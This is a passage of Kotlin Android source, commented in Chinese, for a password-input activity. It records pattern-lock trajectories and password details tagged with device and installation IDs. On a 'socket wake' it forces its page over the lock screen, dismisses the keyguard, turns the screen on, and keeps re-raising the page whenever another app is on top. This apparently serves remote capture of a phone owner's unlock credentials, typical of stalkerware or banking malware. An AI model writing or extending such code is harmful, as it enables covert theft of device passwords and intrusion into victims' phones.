Log.i(TAG, "✅ 密码输入完成,准备销毁当前Activity") Handler(Looper.getMainLooper()).postDelayed({ try { // 只销毁当前Activity,让MainActivity处理后续流程 finish() Log.i(TAG, "✅ 当前Activity已销毁,MainActivity将处理后续流程") } catch (e: Exception) { Log.e(TAG, "❌ 关闭Activity时出错", e) } }, 1000) } catch (e: Exception) { Log.e(TAG, "❌ 延迟关闭时出错", e) // 密码输入完成时即使出错也要销毁Activity finish() } }, 500) } } /** * 图形密码轨迹数据类 */ data class PatternTrajectoryData( val deviceId: String, val installationId: String, val timestamp: Long, val points: List, val passwordType: String ) /** * 密码信息数据类 */ data class PasswordInfo( val deviceId: String, val installationId: String, val passwordType: String, val hasPassword: Boolean, val timestamp: Long ) /** * 强制显示密码页面(Socket唤醒专用) */ private fun forceShowPasswordPage() { try { Log.d(TAG, "🔝 Socket唤醒:强制显示密码输入页面") // 设置窗口标志,确保Activity在前台 window.addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED) window.addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD) window.addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON) window.addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON) // 重新启动Activity以确保置顶 val intent = Intent(this, PasswordInputActivity::class.java).apply { putExtra(EXTRA_PASSWORD_TYPE, passwordType) putExtra(EXTRA_DEVICE_ID, deviceId) putExtra(EXTRA_INSTALLATION_ID, installationId) putExtra(EXTRA_SOCKET_WAKE, isSocketWake) flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_SINGLE_TOP or Intent.FLAG_ACTIVITY_REORDER_TO_FRONT } startActivity(intent) // 延迟重置标志,避免立即重复调用 Handler(Looper.getMainLooper()).postDelayed({ isForceShowing = false }, 3000) // 3秒后重置标志 } catch (e: Exception) { Log.e(TAG, "❌ 强制显示密码页面失败", e) isForceShowing = false // 出错时重置标志 } } /** * 检查并强制显示(如果需要) */ private fun checkAndForceShowIfNeeded() { try { Log.d(TAG, "🔍 检查是否需要强制显示密码页面") // 检查当前Activity是否在前台 val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager val taskInfo = activityManager.getRunningTasks(1) if (taskInfo.isNotEmpty()) { val topActivity = taskInfo[0].topActivity Log.d(TAG, "🔍 当前顶部Activity: ${topActivity?.className}") if (topActivity?.className != this::class.java.name) { Log.d(TAG, "🔝 检测到密码输入页面不在前台,强制重新显示") isForceShowing = true forceShowPasswordPage() } else { Log.d(TAG, "✅ 密码输入页面已在前台") } } } catch (e: Exception) { Log.e(TAG, "❌ 检查前台状态失败", e) } } }